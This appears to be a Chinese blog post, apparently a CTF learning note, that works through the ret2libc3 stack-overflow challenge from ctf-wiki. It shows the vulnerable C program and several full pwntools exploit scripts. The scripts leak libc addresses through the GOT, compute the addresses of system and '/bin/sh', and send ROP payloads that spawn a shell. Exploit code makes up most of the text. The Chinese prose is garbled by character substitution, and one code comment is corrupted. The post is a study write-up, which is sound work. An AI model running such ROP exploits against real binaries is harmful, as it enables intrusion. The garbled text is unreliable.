乐趣区

关于安全:pwnbasicROP二

呜呜呜,明天弄了一天,终于弄明确利用 libc 的原理了

相干常识理解

是动静加载里的一个机制,函数在内存中的地址是随机化的,即便程序有 ASLR 爱护,也只是针对于地址两头位进行随机,最低的 12 位并不会产生扭转,libc.so 动态链接库中的函数之间绝对偏移是固定的。

所以能够管制 put 函数等泄露一些函数的地址,而后查问最初三位来确定利用的 libc 版本号。

先贴一道题

int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(&s);
  return 0;
}

利用

from pwn import * 
sh = process('./ret2libc3')

put_plt = 0x08048460
put_got_plt = 0x804A018

payload = flat([108 * 'a',p32(0),put_plt,0xdeadbeef,put_got_plt])

sh.sendlineafter("Can you find it !?",payload)

addr = hex(u32(sh.recv()[:4]))

print(addr)

能够取得 puts 的地址
再能够人工去查找,这里有个网站 https://libc.blukat.me/ 输出函数名和 16 进制下的后 3 位就能够找到,还能够多泄露几个确定惟一

之后利用绝对不变的偏移来取得 libc 中的 system 和 /bin/sh,就能够布局栈了,特地留神要管制 main 从新开始一次程序

WA

#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')
#生成一个对象
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
#利用 got 和 plt 成员函数来取得对应的函数,就不要看 ida 了

payload = flat(['A' * 108,p32(0), puts_plt, main, libc_start_main_got])
#这个函数能够把字符串和数字连起来,比拟难受
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = hex(u32(sh.recv()[0:4]))
#u32 把字符串变成十进制数字,hex 进去是字符串

system_addr = eval(libc_start_main_addr) + 0x22860
binsh_addr = eval(libc_start_main_addr) + 0x1435bb
#本人去查到偏移量
print "get shell"
payload = flat(['A' * 100, p32(0),system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

下面是本人改了 没用 libcsearcher,感觉不好用

上面是 ctf-wiki 的原始办法

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
#这里用 symbols0000000000000000000000000000000000000000000000000000000000000022

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
这里的 libcsearcher 对象的 dump 函数计算出不变的偏移

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

填充那里还有一点问题,明确了再来改(可能是程序流从新让他产生了扭转)

退出移动版